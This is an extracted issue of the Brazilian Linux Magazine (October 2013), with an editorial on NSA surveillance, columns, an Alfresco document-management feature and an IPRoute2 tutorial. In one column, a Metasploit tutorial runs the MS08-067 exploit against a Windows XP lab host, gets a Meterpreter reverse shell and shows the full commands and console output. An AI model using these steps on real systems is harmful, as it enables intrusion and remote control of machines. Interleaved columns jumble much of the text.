Você está na página 1de 30

AUGUSTO CAMPOS P.10 MADDOG P.25 CEZAR TAURION P.

29
Segurança é processo, A importância da Devemos pensar na
não é ferramenta criptografia e suas origens velocidade da nuvem MEDIALINX
# 106 Setembro 2013

A REVISTA DO PROFISSIONAL DE TI

GED
GESTÃO ELETRÔNICA DE DOCUMENTOS
ELIMINE AS PILHAS DE PAPEL QUE ACUMULAM-SE DIARIAMENTE
EM SUA MESA E RESOLVA O PROBLEMA DE ARMAZENAMENTO
ENTREVISTA p.23
DOS DOCUMENTOS: FAÇA PARTE DA TI VERDE. P.36 Entrevistamos John Powell, fundador do
Alfresco, um dos mais populares softwares
de ECM open source do mercado.
» Administração e gestão de documentos com Alfresco P.37
» Como utilizar o Alfresco para gerenciar os projetos da sua empresa P.42
» Aprenda a trabalhar com Alfresco e Liferay unidos ao servidor CAS P.49

VEJA TAMBÉM NESTA EDIÇÃO: ANDROID P.67


» IPRoute2 e o gerenciamento dos componentes de rede do kernel p.54 Transforme seu dispositivo Android em uma máquina
» Conheça a solução de servidor DNS alternativa ao BIND, PowerDNS p.58 de produtividade com aplicativos open source
» HURD: antigo projeto de sistema operacional volta à vida p.73

00107 #10709/13

R$ 14,90
€ 7,50
9 771806 942009

WWW.LINUXMAGAZINE.COM.BR
Expediente editorial
Diretor Geral
Rafael Peregrino da Silva
Editorial
Ridendo castigat moris
rperegrino@linuxmagazine.com.br
Editores
Flávia Jobstraibizer
fjobs@linuxmagazine.com.br
Laura Loenert Lopes
llopes@linuxmagazine.com.br
Editor de Arte Após as revelações sobre os desmandos da Agência Nacional de Segurança
Hunter Lucas Fonseca
hfonseca@linuxnewmedia.com.br (NSA, na sigla em inglês) dos Estados Unidos da América, que ocorreram na vi-
Colaboradores gência do governo de Barack “Yes we scan” Obama, e que são fruto da coragem,
Alessandro de Oliveira Faria, Antonio Pádua,
Bernhard Bablok, Kristian Kissling, Hanno Böck, da indignação e da abnegação de Edward Snowden, este escrevedor acompa-
Paul C. Brown, Dan Frost, Charly Kühnast, Frank
Hofmann, Robert Korherr, Heike Jurzik, Lars nha entediado o lento desenrolar dos acontecimentos, equipado de chistes e
Kotthoff, Kurt Seifried, Zack Brown, Jon “maddog”
Hall, Alexandre Borges, Cezar Taurion, Gilberto
reviravoltas característicos de uma comédia dantesca apresentada pelo grupo
Magalhães, Klaus Knopper, Augusto Campos. Monty Python. Risível o acionismo displicente e o reacionismo incoerente de
Tradução
Laura Loenert Lopes governos como o brasileiro e o alemão, que só se mostraram verdadeiramen-
Revisão te indignados quando seus maiores dignatários foram atingidos diretamente
Flávia Jobstraibizer
pelo esquema de espionagem perpetrado pelo grupo dos cinco olhos, aliança
Editores internacionais
Uli Bantle, Andreas Bohle, Jens-Christoph Brendel, composta por EUA, Inglaterra, Canadá, Nova Zelândia e Austrália, que nasceu
Hans-Georg Eßer, Markus Feilner, Oliver Frommel,
Marcel Hilzinger, Mathias Huber, Anika Kehrer,
ainda durante a vigência da Segunda Guerra Mundial, mais especificamente
Kristian Kißling, Jan Kleinert, Daniel Kottmair,
Thomas Leichtenstern, Jörg Luther, Nils Magnus.
em 1941, ano em que a guerra se tornou global.
Anúncios: Mais de uma vez o autor destas mal digitadas linhas ouviu comentários jo-
Rafael Peregrino da Silva (Brasil)
anuncios@linuxmagazine.com.br
cosos envolvendo a perda de dados, a falta de backup ou de informações, ou
Tel.: +55 (0)11 3675-2600 dúvidas a respeito de informações sobre qualquer pessoa ou empresa: “Per-
Penny Wilby (Reino Unido e Irlanda) gunte ao Obama” ou “Peça uma cópia ao Obama” ou ainda “O Obama sabe”
pwilby@linux-magazine.com
Amy Phalen (América do Norte)
eram as respostas, invariavelmente. Redes sociais mostraram várias imagens
aphalen@linuxpromagazine.com legendadas, brincando com tecnologias e termos que antes nunca apareciam,
Hubert Wiest (Outros países)
hwiest@linuxnewmedia.de tais como “Usa rede Tor e armazena seus dados no Gmail!”, com Obama & Cia se
Diretor de operações matando de rir ao fundo, ou a criança afirmando ao presidente dos EUA, “Pa-
Claudio Bazzoli
cbazzoli@linuxmagazine.com.br pai me disse que vocês estão nos espionando online”, que tem como resposta
Na Internet: “Ele não é seu pai” etc.
www.linuxmagazine.com.br – Brasil
www.linux-magazin.de – Alemanha Muito embora pouco tenha sido feito efetivamente após as suspeitas
www.linux-magazine.com – Portal Mundial
www.linuxmagazine.com.au – Austrália – que todos tínhamos desde sempre – terem sido confirmadas, quando o
www.linux-magazine.es – Espanha
www.linux-magazine.pl – Polônia
humor se apropria de fatos, isso significa que a informação chegou ao ima-
www.linux-magazine.co.uk – Reino Unido ginário coletivo e é propriedade das massas. Isso é ótimo, pois finalmente
www.linuxpromagazine.com – América do Norte
Apesar de todos os cuidados possíveis terem sido tomados temas envolvendo segurança da informação, privacidade, transparência
durante a produção desta revista, a editora não é responsá-
vel por eventuais imprecisões nela contidas ou por consequ-
etc. ganham a ribalta da mídia de massa. E, com isso, soluções mais segu-
ências que advenham de seu uso. A utilização de qualquer ras e abertas ganham relevância. Segurança da informação pode passar fi-
material da revista ocorre por conta e risco do leitor.
Nenhum material pode ser reproduzido em qualquer meio,
nalmente a ocupar o seu lugar de direito: a fase de concepção de soluções
em parte ou no todo, sem permissão expressa da editora.
Assume-se que qualquer correspondência recebida, tal
de tecnologia em geral! Dados abertos, Software Livre e governança de TI
como cartas, emails, faxes, fotografias, artigos e desenhos, são os ingredientes para resolver o problema, e estão sendo trombeteados
sejam fornecidos para publicação ou licenciamento a
terceiros de forma mundial não-exclusiva pela Linux New em 10 de 10 emissoras de rádio e televisão no país. Isso é mais um impulso
Media do Brasil, a menos que explicitamente indicado.
para o software de código aberto, que devem corrigir algumas distorções
Linux é uma marca registrada de Linus Torvalds.
Linux Magazine é publicada mensalmente por: há muito arraigadas no uso de sistemas de informação. Quando chegamos
Linux New Media do Brasil Editora Ltda. à fase do riso, do ridículo, é que efetivamente conseguimos corrigir certos
Rua São Bento, 500
Conj. 802 – Sé costumes. Assim, o Brasil está se movimentando para instaurar um e-mail
01010-001 – São Paulo – SP – Brasil
Tel.: +55 (0)11 3675-2600 nacional para órgãos do governo federal (usando a solução Expresso Livre,
Direitos Autorais e Marcas Registradas © 2004 - 2013: projeto de Software Livre baseado no Tine20 capitaneado pelo Serpro), o
Linux New Media do Brasil Editora Ltda.
Impressão e Acabamento: EGB Marco Civil da Internet ganhou a pauta do Congresso Nacional e vamos
Atendimento Assinante sediar conferência sobre governança na Internet.
www.linuxnewmedia.com.br/atendimento
São Paulo: +55 (0)11 3675-2600 Só rindo mesmo!
Rio de Janeiro: +55 (0)21 3512 0888
Belo Horizonte: +55 (0)31 3516 1280
ISSN 1806-9428 Impresso no Brasil Rafael Peregrino da Silva
Diretor de Redação

Linux Magazine #107 | Outubro de 2013 3


INDICE
CAPA
Sob controle 36 Trabalho em equipe 49
Manter o controle das pilhas de papel que diariamente acumulam-se Aprenda a trabalhar colaborativamente com Alfresco e Liferay
nas mesas e gavetas pode não ser mais uma tarefa hercúlea. unidos ao servidor de autenticação CAS.

Colaborativo 37
A ferramenta de colaboração Alfresco permite rastrear documentos,
compartilhar conteúdo e integra-se muito bem com o Microsoft SharePoint.

Projetos sob controle 42


Como utilizar Alfresco Community para prover
amplo suporte para os projetos de sua empresa.

4 www.linuxmagazine.com.br
Linux Magazine 107 | índice

COLUNAS CORPORATE
Charly Kühnast 07 Coluna: Jon “maddog” Hall 25
Alexandre Borges08 Coluna Antonio Pádua 27
Augusto Campos 10 Coluna: Cezar Taurion 29
Kurt Seifried 12
Entrevista: John Powell 31
Klaus Knopper 15
Notícias 34
Zack Brown 18
➧ Fundação de Bill Gates financia pesquisas brasileiras
Notícias 24
➧ Garoto de 12 anos hackeia sites do governo
➧ Cibercriminosos mudam táticas em para o Anonymous em troca de games
ataques DDoS, dizem pesquisadores

REDES
Caixa de ferramentas 54
Ferramentas tradicionais de administração de redes por
linha de comando, tais como ifconfig, route e arp são quase
tão antigas como o próprio protocolo TCP/IP. Neste artigo,
oferecemos uma visão geral sobre como o IPRoute2 pode
unificar o gerenciamento dos componentes de rede do kernel.

TUTORIAL
Zona de poder 58
O PowerDNS é uma solução de servidor DNS segura,
escalonável e confiável, licenciado sob a GPL.
Neste artigo, mostramos como usar arquivos deconfiguração
do BIND para configurar o servidor PowerDNS e como
criar um servidor primário com um backend MySQL
gerenciado pela interface de usuário Poweradmin.

´
ANALISE
Em busca do sistema perdido 73
O GNU não desistiu do venerável Hurd, projeto de
sistema operacional que recebeu recentemente um
novo impulso com o lançamento de um novo porte Debian.

ANDROID SERVIÇOS
Editorial03
Máquina de produção 68
Emails06
Transforme seu dispositivo Android em uma
máquina de produtividade enxuta com Linux.local78
aplicativos de código aberto.
Preview 82

Linux Magazine #107 | Outubro de 2013 5


Coluna do Alexandre
Metasploit – parte 7
Demonstração de um ataque direcionado usando o framework Metasploit
e tendo como alvo o sistema operacional Windows XP.
por Alexandre Borges

N
este mês é a vez de uma demonstração Overflow
simples de ataque usando o framework exploit/windows/smb/ms06_070_wkssvc 2006-11-14
00:00:00 UTC manual Microsoft Workstation Service
Metasploit e tendo como alvo o sistema
NetpManageIPCConnect Overflow
operacional Windows XP com SP2. Entretanto, de- exploit/windows/smb/ms08_067_netapi 2008-10-28
vido à solicitação de alguns leitores, vou fazer duas 00:00:00 UTC great Microsoft Server Service
mudanças de abordagem: primeiro, vou utilizar o Relative Path Stack Corruption
OpenVAS que é um scanner gratuito e, segundo,
vou fazer uso do Kali Linux (sucessor do fantásti- Feito isso, selecione a vulnerabilidade que de-
co Backtrack R3). Os motivos para a mudança são seja explorar (neste caso será a última da lista
simples: tenho recebido relatos sobre a dificuldade apresentada), para iniciar o ataque:
de realizar testes adicionais com o Nessus devido
ao curto tempo concedido para teste do produto msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
(15 dias) e, com relação ao Kali Linux, alguns lei-
tores alegaram que seria mais simples usá-lo já msf exploit(ms08_067_netapi) > set payload windows/
que este fornece muitas ferramentas de hacking meterpreter/reverse_tcp
integradas e, como normalmente os notebooks
não têm muita memória RAM, isto comprometia payload => windows/meterpreter/reverse_tcp
o uso de máquinas virtuais.
Sobre o OpenVAS, o leitor pode obter um roteiro msf exploit(ms08_067_netapi) > show options
rápido de configuração em [1]. Em primeiro lugar, Module options (exploit/windows/smb/ms08_067_netapi):
vamos obter uma lista das vulnerabilidades do alvo:
Name Current Setting Required Description
root@hacker:~# msfconsole –- ––––– ––-- –––--
msf> search netapi RHOST 192.168.1.23 yes The target address
RPORT 445 yes Set the SMB service port
Matching Modules SMBPIPE BROWSER yes The pipe
================ name to use (BROWSER, SRVSVC)
Name
Payload options (windows/meterpreter/reverse_tcp):
Disclosure Date Rank
Description
–- ––––– –- Name Current Setting Required Description
–––-- –- ––––– ––-- –––--
exploit/windows/smb/ EXITFUNC thread yes Exit
ms03_049_netapi 2003-11-11 technique: seh, thread, process, none
00:00:00 UTC good LHOST 192.168.1.109 yes The listen address
Microsoft LPORT 4444 yes The listen port
Workstation Service
NetAddAlternateComputerName Exploit target:
Overflow
exploit/windows/
smb/ms06_040_ Id Name
netapi 2006-08- -- –-
08 00:00:00 UTC 0 Automatic Targeting
good Microsoft
Server Service msf exploit(ms08_067_netapi) > set LHOST
NetpwPathCanonicalize 192.168.1.109

8 www.linuxmagazine.com.br
LHOST => 192.168.1.109
msf exploit(ms08_067_netapi) > set RHOST Sufixo DNS especĩfico de conexão . :
192.168.1.23 Endereço IP . . . . . . . . . . . . :
RHOST => 192.168.1.23 192.168.1.23
msf exploit(ms08_067_netapi) > show options Máscara de sub-rede . . . . . . . . :
255.255.255.0
msf exploit(ms08_067_netapi) > exploit Gateway padrão. . . . . . . . . . . :
192.168.1.1
[*] Started reverse handler on 192.168.1.109:4444
[*] Automatically detecting the target... Adaptador Ethernet Conexão de Rede Bluetooth:
[*] Fingerprint: Windows XP - Service Pack 2 -
lang:Portuguese - Brazilian Estado da mídia . . . . . . . . . . . :
[*] Selected Target: Windows XP SP2 Portuguese - mídia desconectada
Brazilian (NX)
[*] Attempting to trigger the vulnerability... C:\WINDOWS\system32>
[*] Sending stage (770048 bytes) to 192.168.1.23
Como o leitor pôde notar, usei um payload vin-
[*] Meterpreter session 1 opened (192.168.1.109:4444
-> 192.168.1.23:1048) at 2013-10-24 20:14:03 -0200 culado ao Meterpreter, que é uma ferramenta usa-
da no pós exploração da vulnerabilidade. Falarei
meterpreter > shell 1 mais sobre ele nas próximas colunas. Até mais.
Process 2988 created.
Channel 1 created.
Microsoft Windows XP [versão 5.1.2600]
Mais informações
[1] Roteiro de configuração do OpenVAS:
(C) Copyright 1985-2001 Microsoft Corp. http://alexandreborgesbrazil.files.word-
press.com/2013/10/quicksectip21.pdf
C:\WINDOWS\system32>ipconfig
ipconfig
Alexandre Borges (linkedin: br.linkedin.com/in/aleborges) é instrutor e especialista sênior
em sistemas operacionais Unix, Linux, Banco de Dados, Virtualização, Cluster, Storage, Ser-
Configuração de IP do Windows vidores, Backup, Desempenho e Segurança, além de possuir profundo envolvimento com
assuntos relacionados ao kernel Linux.
Adaptador Ethernet Conexão local:

Linux Magazine #XX | Mês de 200X 9


Coluna do Augusto
Segurança é processo,
não é ferramenta
Nem sempre a implementação de uma nova ferramenta pode resolver os problemas de uma organização.
por Augusto Campos

A
segurança da informação compartilha com os avisos de que teríamos a reação na forma da im-
o gerenciamento eletrônico de documentos plementação de ferramentas: um sistema de e-mails
(GED), tema desta edição da Linux Magazine, criptografado operado por uma estatal para uso da
uma triste sina: a de ser um processo que, por razões população e outro sistema de e-mails criptografado
variadas, sofre porque as organizações interessadas para uso do próprio Governo.
nele acreditam que poderão “resolver” seus problemas O sistema em si é o Expresso, desenvolvido por
com a aquisição e implantação de uma ferramenta. uma empresa pública a partir de código aberto, como
Estou próximo ao mercado de TI há cerca de 25 um ramo da árvore de desenvolvimento da solução
anos, já vi procedimentos bem-sucedidos, mas... de groupware Tine20 [1]. Seu uso nas comunicações
foram raros. Em várias situações observei a confir- online da administração pública será obrigatório e a
mação da sina: alguém decidiu “implantar GED”, ou solução de criptografia será de origem local. Neste caso
“implantar segurança da informação” e isso acabou específico há um detalhe especial: ela já foi tornada
se traduzindo, na prática, em fazer um curso de sen- de uso obrigatório antes mesmo de estar disponível.
sibilização, um processo de seleção da ferramenta Os questionamentos já começam a aparecer. Por
e a aquisição desta. Quando o projeto avança mais, exemplo: o que acontece quando o interlocutor das
chega até uma implementação e, em raros casos, comunicações está em outro sistema de e-mail? Ou
uma ativação, seguida de uma descontinuação quan- o que acontece quando a infraestrutura de rede e
do se percebe que a ferramenta, sem a adequação telecomunicações (servidores, roteadores, malha
de processos que teria que ter ocorrido antes, não de fibra óptica, transmissões via satélite etc.) forem
resolve o problema e ainda atrapalha. do prestador de serviço externo, ou os equipamen-
No caso da Segurança da Informação, o “atrapalhar” tos usados por ela forem fabricados fora do país?
ganha uma dimensão a mais: quando a organização O presidente da empresa pública em questão já
se considera mais segura por ter adquirido determi- se pronunciou, dizendo à imprensa que na sua infra-
nada ferramenta, mas não lidou com a estrutura ele garante que não haverá invasão. Já o
questão realmente essencial, que são general chefe do Centro de Defesa Cibernética do
seus processos, ela acaba ficando Exército reconhece que a maior deficiência é mes-
menos segura do que antes, por- mo de equipamentos de redes – como servidores
que as pessoas passam a acreditar e roteadores – desenvolvidos no país, e o diretor
que a ferramenta lhes concede um deste tema no Gabinete de Segurança Institucional
manto de proteção que na verdade da Presidência da República reconhece que essa
não está lá, mais ou menos como na- ação não resolve a questão da espionagem ou de
quela fábula que termina com um monitoramento de dados, mas é um primeiro passo.
garoto gritando “o rei está nu!”. Podemos escolher em quais dos 3 iremos acre-
Um caso que tenho acom- ditar, mas uma coisa é certa: o sucesso ou insuces-
panhado com bastante aten- so dessa iniciativa de “solução de Segurança da
ção é o do Governo Federal. Informação por meio de implementação de fer-
Após as revelações de que ramenta será caso de estudo por muito tempo. n
a NSA acompanhava as co-
municações eletrônicas de Mais informações
várias pessoas-chave de [1] Tine20: http://tine20.org
Brasília, logo começaram

10 www.linuxmagazine.com.br
Linux Magazine #XX | Mês de 200X 11
Capa
Sob controle
Manter o controle das pilhas de papel que diariamente acumulam-se
nas mesas e gavetas pode não ser mais uma tarefa hercúlea.
por Flávia Jobstraibizer

S
omos seres que guardam Estes documentos digitais po- Agora imagine se todos estes
coisas por natureza. Mes- dem ser argupados por projetos, documentos estivessem armaze-
mo as pessoais mais "de- vinculados à determinados gru- nados digitalmente em um siste-
sapegadas" costumam guardar pos de usuários e seguir fluxos ma (que pode estar na nuvem) que
aquilo de que um dia podem de trabalho predeterminados, pode ser consultado a qualquer
precisar. E somos assim com pa- passando por aprovações, mar- momento, facilitando a vida de
péis. Produzimos e consumimos cações e outros requisitos até o quem precisa manipular tanto
uma quantidade exorbitante armazenamento final. papel? Este é o futuro. E é dele
de papel todos os dias. Ele está Com o poderoso Apache Lucene que vamos falar nesta edição.
presente nas embalagens, nos por trás do sistema de indexação Nas próximas páginas você irá
livros, nas revistas, nos jornais, de conteúdo do Alfresco, a plata- conhecer o Alfresco, como instalar,
nos canhotos das máquinas de forma é ainda muito ágil na bus- configurar e gerenciar projetos de
cartão de débito, nos boletos ca e localização de documentos armazenamento digital de docu-
que você recebe mensalmente através de palavras chave, nomes, mentos, assim como criar regras
para pagar, nos documentos... e parâmetros, status do documento do fluxo a seguir por determinado
é aí que queremos chegar nesta e outras formas de busca. documento e a organização neces-
edição da Linux Magazine, onde Imagine o enorme volume que sária para ter sempre tudo à mão.
vamos falar sobre GED (Gestão faria uma tonelada de papeis em Sabemos que eliminar o papel
Eletônica de Documentos), área sua empresa: pilhas até o teto de totalmente é impossível (pelo
onde popularizou-se o sistema contratos, processos, documentos menos por enquanto...) mas até
Alfresco por possuir uma solução de funcionários, termos de acordo lá, viva a TI verde! n
open source (versão Community) entre fornecedores, negociação
e que irá auxiliá-lo a economizar com bancos etc. Uma tonelada de Matérias de capa
árvores e dinheiro. papel virgem (nunca usado nem
Coperativismo 37
O Alfresco possui a capacidade reciclado) equivale à vida de 12 ár- Projetos sob controle 38
de armazenar todos os tipos de vores e para sua fabricação são uti- Trabalho em equipe 49
documentos em formato digital. lizados cerca de 540 litros de água!

36 www.linuxmagazine.com.br
Redes
Caixa de ferramentas
Ferramentas tradicionais de administração de redes por linha de comando, tais como ifconfig, route
e arp são quase tão antigas quanto o próprio protocolo TCP/IP. Neste artigo, oferecemos uma visão
geral sobre como o IPRoute2 pode unificar o gerenciamento dos componentes de rede do kernel.
por Eric Amberg

O
IPRoute2 é o sucessor dos ➧ Configuração IP de interfaces e é fundamental para muitos
utilitários de rede netto- ➧ Inclusão e exclusão de entradas dos recursos avançados de rede.
ols, incluindo comandos na tabela de roteamento Por exemplo, o IPRoute2 é
como ifconfig e route. Em vez de ➧ Ajuste de configurações de ca- necessário para algumas fun-
ter que usar uma ferramenta che ARP ou NDISC (Neighbor Disco- ções de gateway e roteamento.
separada para cada aspecto do very ou descoberta de vizinhança) Mesmo o desktop Gnome não
gerenciamento de rede, com o ➧ Gerenciamento de túneis consegue se comunicar na rede
IPRoute2 os administradores da rede sem o IPRoute2.
têm agora uma interface unifi- ➧ Visualização de informações da
cada. Embora o IPRoute2 esteja
disponível há algum tempo, a
camada de link (endereços MAC etc.)
➧ Configuração de Qualidade de
Programas e
equipe de desenvolvimento tem Serviço (Quality of Service – QoS) arquivos IPRoute2
se esforçado para substituir as Recursos de gerenciamen- Normalmente, os arquivos de
ferramentas legadas. to cobrem tanto o IPv4 como configuração para as ferramentas
IPv6, e novos recursos são imple- individuais estão localizados em
Escopo de recursos mentados rotineiramente. Por /etc/iproute2 e contêm alguns
O IPRoute2 [1] permite ao admi- exemplo, o gerenciamento de valores necessários apenas
nistrador gerenciar a maioria túnel 6rd [2] já foi adicionado. O em cenários avançados.
dos aspectos da rede, in- IPRoute2 agora faz parte da ins- A maioria dos pro-
cluindo: talação básica definida para
todas as principais dis-
tribuições Linux

54 www.linuxmagazine.com.br
gramas fornecidos pelo IPRou- ➧ Xfrm – Exibe ou manipula lhadas são fornecidas pelas man
te2 possui uma tarefa especial, políticas de Ipsec pages para os contextos indivi-
e todos eles desempenham um Os comandos normalmente não duais. No caso do ip addr, por
papel específico no gerenciamen- precisam ser totalmente preenchi- exemplo, o usuário pode chamar:
to dos recursos de rede: dos como regra; eles podem ser
man ip‑address
➧ /sbin/ip – O programa prin- completados apenas à medida em
cipal, através do qual a maioria que se tornam inequívocos. Assim, A chamada específica necessá-
dos aspectos de rede do kernel ip, ip addr e ip a, todos disponibili- ria para o contexto em questão é
Linux pode ser controlada zam a configuração IP da interface. exibida na seção SEE ALSO (“Veja
➧ /sbin/cbq – Serve como um O comando completo é, na verdade, também”) da man page para o pró-
script de exemplo para a classe ip address show, e comandos de exi- prio comando ip, ou seja, man ip 8.
baseada em QoS (class-based bição apropriados estão disponíveis
queuing, CBQ)
➧ /sbin/ifcfg – Substitui a opção
para quase todos os contextos. Es-
tes também podem ser os valores
Gerenciamento
de gerenciamento de endereço padrão (figura 1). Em muitos casos, de endereços IP
de IP em ifconfig as opções adicionais podem ser Para atribuir um endereço IP
➧ /sbin/rtmon – Habilita o monito- definidas para os comandos exibi- adicional de 172.16.55.1/24 para
ramento da tabela de roteamento dos. Por exemplo, se o usuário só a interface eth0, o usuário deve
➧ /sbin/tc – Usada para confi- quer exportar a configuração de IP emitir o seguinte comando:
gurar recursos de controle avan- para eth0, o atalho do comando é:
ip address add 172.16.55.1/24 brd
çado de tráfego 172.16.55.255 dev eth0
ip address show eth0 or ip a s eth0
➧ /sbin/arpd – Coleta informação
ARP gratuita. Estas mensagens ARP Assim como acontece com o A especificação do endereço
anunciam uma alteração no mape- ifconfig, as informações para IPv4 de broadcast (brd) é opcional,
amento de endereço IP-to-MAC e IPv6 estão disponiveis. Se o u- mas ainda recomendada. Para
➧ /sbin/lnstat – Exibe estatísti- suário preferir restringir a saída remover a atribuição de um en-
cas do kernel em vários aspectos para uma das duas versões do dereço IP de uma interface, o u-
da comunicação de rede e subs- protocolo, poderá habilitar a op- suário precisa da opção del, como
titui o rtstat ção ip -4 ou ip -6 como um filtro. mostra o exemplo a seguir:
➧ Ferramentas adicionais –
/sbin/nstat e /sbin/rtacct são fer- Auto-ajuda ip address del 172.16.55.1/24 dev
eth0
ramentas simples para exibição A ajuda está disponível a partir das
de contadores SNMP e estatís- man pages para cada ferramen- A opção flush toma uma linha
ticas de rede ta do pacote IPRoute2 e através um pouco mais difícil, e também
A ferramenta mais importante da opção de ajuda, que pode ser permite que o usuário remova
no IPRoute2 é a ip. Ele lida com a especificada após o respectivo todos os endereços IP a partir
maioria das tarefas comuns asso- contexto. Por exemplo, de uma interface. Para remover
ciadas ao gerenciamento de rede, todos os endereços IP da inter-
ip addr help
especificando objetos particulares face eth0, digite:
e fornecendo a eles os parâmetros exibe a ajuda relacionada às op-
ip address flush dev eth0
e opções desejadas que servirão ções ip addr. Informações deta-
de contexto. Contextos importan-
tes incluem, por exemplo:
➧ Link – Exibe ou manipula a
informação em nível de cama-
da de link
➧ Address – Exibe ou manipula
informações de IP
➧ Route – Exibe ou manipula
informações de roteamento
➧ Tunnel – Exibe ou manipula
configurações de tunelamento Figura 1 A ferramenta mais importante no IPRoute2 é a ferramenta ip.

Linux Magazine #107 | Outubro de 2013 55


(figura 3) de uma forma similar ao
ip address. Usar:

ip ‑s link show

oferece uma panorâmica estatís-


tica das interfaces disponíveis,
que podem ser limitadas pela
adição da interface:
ip ‑s link show eth0

De uma forma que é quase


típica ao Linux, o usuário pode
Figura 2 Exibição da política de prefixo para o IPv6.
estender a saída adicionando
Esta condição persiste até que a em um pacote de entrada é usada outro parâmetro -s. Por exemplo:
interface seja reinicializada. Além dis- para encontrar um endereço local
ip ‑s ‑s link show eth0
so, as interfaces baseadas em DHCP adequado, que possui o mesmo al-
não atribuem um novo endereço cance. Por exemplo, para adicionar No entanto, combinar -s e -ss
até que o endereço anterior seja outra entrada ao prefixo 2002::2/64 não é possível. O comando ip set
removido. O importante é que este com uma identificação de 99 a esta link permite definir diversos pa-
tipo de manipulação de endereço política de prefixo, digite: râmetros de hardware para as in-
IP para uma interface não acabe no terfaces. Por exemplo, o usuário
ip addrlabel add prefix 2002::2/64
arquivo de configuração. Depois de label 99 pode desligar a interface eth0 com:
reinicializar a interface ou reiniciar
ip link set eth0 down
o sistema, as alterações feitas pelo Ou ainda:
comando ip não estão mais disponí- e acioná-la novamente com:
ip addrlabel del prefix 2002::2/64
veis. Se desejar que permaneçam, label 99 ip link set eth0 up
crie um script de inicialização.
para remover os prefixos com as Além disso, é possível manipular
Predestinado identificações novamente. a unidade de transmissão máxima
(MTU), o endereço MAC, o modo
para IPv6 Um nível abaixo promíscuo, e outros parâmetros.
O comando ip permite visualizar e Informações de camada de link,
manipular os recursos avançados isto é, endereços MAC e seme- Bons vizinhos
do IPv6. Isso inclui, por exemplo, lhantes, são tratadas pela opção Outra opção útil é neighbor (des-
a política de prefixo da RFC 3484, link. Por exemplo, usar ip link ou coberta de vizinhança). Ela permi-
que define as regras pelas quais ip link show exibe as informações te que os administradores exibam
são utilizados os diversos ende- de baixo nível sobre as interfaces e manipulem o cache ARP IPv4 e
reços IPv6. Esta política pode ser
exibida, digitando ip addrlabel ou
ip addrl (figura 2). A identificação
determina a prioridade de cada
endereço. Os prefixos IPv6 co-
nhecidos são usados aqui.
Como os vários endereços IPv6
atribuídos a uma interface IPv6
habilitada possuem um escopo
diferente, as identificações ga-
rantem que um pacote IPv6 usa
um endereço de remetente que
corresponde ao endereço de des-
tino. Para fazer isso, a identifica- Figura 3 Informações de camada de link são exibidas pela ferramen-
ção de um endereço de origem ta ip com a opção link.

56 www.linuxmagazine.com.br
o cache NDISC IPv6 [3]. O NDISC rota estática, por exemplo, para o dido em diversas classes, que são
substitui o mecanismo ARP no prefixo 200.1.1.0/24 através do pró- então priorizadas.
IPv6. O comando: ximo intervalo (hop) em 10.1.1.254
ip neighbor show
pode ser criado com o comando: Conclusão
O IPRoute2 é uma caixa de ferra-
ip route add 200.1.1.0/24 via
retorna todos os mapeamentos 10.1.1.254 mentas completa com recursos
em cache entre endereços MAC e que não são imediatamente apa-
endereços lógicos para IPv4 e IPv6. Da mesma forma, podemos ex- rentes. Embora o pacote de ferra-
Para restringir os resultados a um cluir ou modificar rotas, ou mesmo mentas já seja usado em muitos
protocolo, adicione -4 ou -6 (por configurar caminhos de destino cenários por trás dos bastidores, a
exemplo, ‑4 ip neighbor show). Em (paths) proibidos. Esta aborda- sua utilização na linha de comando
algumas situações, as atribuições gem se aplica igualmente a IPv4 e não tem ganhado muita força en-
de endereçamento estático são IPv6, é claro. Com o comando ip, o tre os administradores de redes e
úteis (por exemplo, para tornar usuário também pode ajustar as sistemas. No entanto, a curva de
a falsificação de endereço mais propriedades de multicast, confi- aprendizagem não é tão longa e
difícil). Além disso, selecionar o gurar diferentes tipos de túneis, e difícil como muitos temem.
acesso preventivo a hosts com um manipular o Routing Policy Data- Claro, o usuário não pode com-
endereço da camada de link inten- base (RPDB) [4], que determina a preender intuitivamente todas as
cionalmente incorreto significa que tabela de roteamento usada para opções e recursos do IPRoute2 em
um host não pode ser endereçado. encaminhar um pacote. um primeiro momento, mas pode
Se quiser atribuir o endereço trabalhar com ferramentas como
IP 10.1.1.1 para um endereço fixo
MAC de 00:d0:a7:b1:c7:de em
Controle ip e tc rapidamente que oferecem
novas oportunidades que podem
eth1, o seguinte comando irá de tráfego ser de valor inestimável para a aná-
fazer o truque: Além do comando ip, o IPRoute2 lise e resolução de problemas. Além
oferece várias outras maneiras de disso, é preciso considerar que o
ip neigh add 10.1.1.1 lladdr
00:d0:a7:b1:c7:de dev eth1 nud perm manipular o tráfego da rede – em aguardado IPv6 não pode mais ser
particular, a ferramenta tc (Traffic gerenciado de outra forma que não
Aqui, o nud significa Neighbor Control). Com ela, o usuário pode com a nova ferramenta ip.
Unreachability Detection, um me- gerenciar o QoS e o controle de
canismo que foi introduzido no tráfego, que se baseia em mecanis-
IPv6, mas que também pode de- mos de filas, onde filas individuais Gostou do artigo?
finir o status de uma entrada no (filas de interface) são atribuídas Queremos ouvir sua opinião.
IPv4. Por outro lado, uma entrada a determinado tráfego. Na base Fale conosco em:
cartas@linuxmagazine.com.br
pode também ser removida com: dos mecanismos de QoS IP, que
Este artigo no nosso site:
estabelecem um valor apropriado http://lnm.com.br/article/9010
ip neigh del 10.1.1.1 dev eth1
ao byte Type of Service (ToS) no
A caixa de ferramentas IPRou- cabeçalho IP, cada pacote pode
te2 é extremamente abrangente; ser atribuído a uma determina-
o comando ip sozinho engloba um da fila, a qual, por sua vez, está Mais informações
número aparentemente infinito associada a uma prioridade de [1] IPRoute2: http://www.
linuxfoundation.org/colla‑
de possibilidades e opções. processamento predeterminada. borate/workgroups/ne‑
Desta forma, o kernel Linux tworking/iproute2

Mais opções pode assegurar que uma deter-


minada quantidade de largura de
[2] 6rd: http://en.wikipedia.org/
wiki/IPv6_rapid_deployment

para o ip banda é reservada para os fluxos


[3] Descoberta de vizinhan-
ça: http://linux‑ip.net/gl/
O comando ip route permite vi- de tráfego importantes, enquanto, ip‑cref/node156.html
sualizar e manipular a tabela de ao mesmo tempo, os menos impor- [4] Banco de dados de políticas
de roteamento: http://linux‑ip.
roteamento do kernel. Por exem- tantes são limitados. O conceito net/html/routing‑rpdb.html
plo, ip route show exibe a tabela de de controle de tráfego depende [5] CBQ: http://en.wikipedia.
roteamento IPv4, e ip -6 route show de vários mecanismos, incluindo org/wiki/Class‑based_queueing
gera a mesma saída para IPv6. Uma CBQ [5], em que o tráfego é divi-

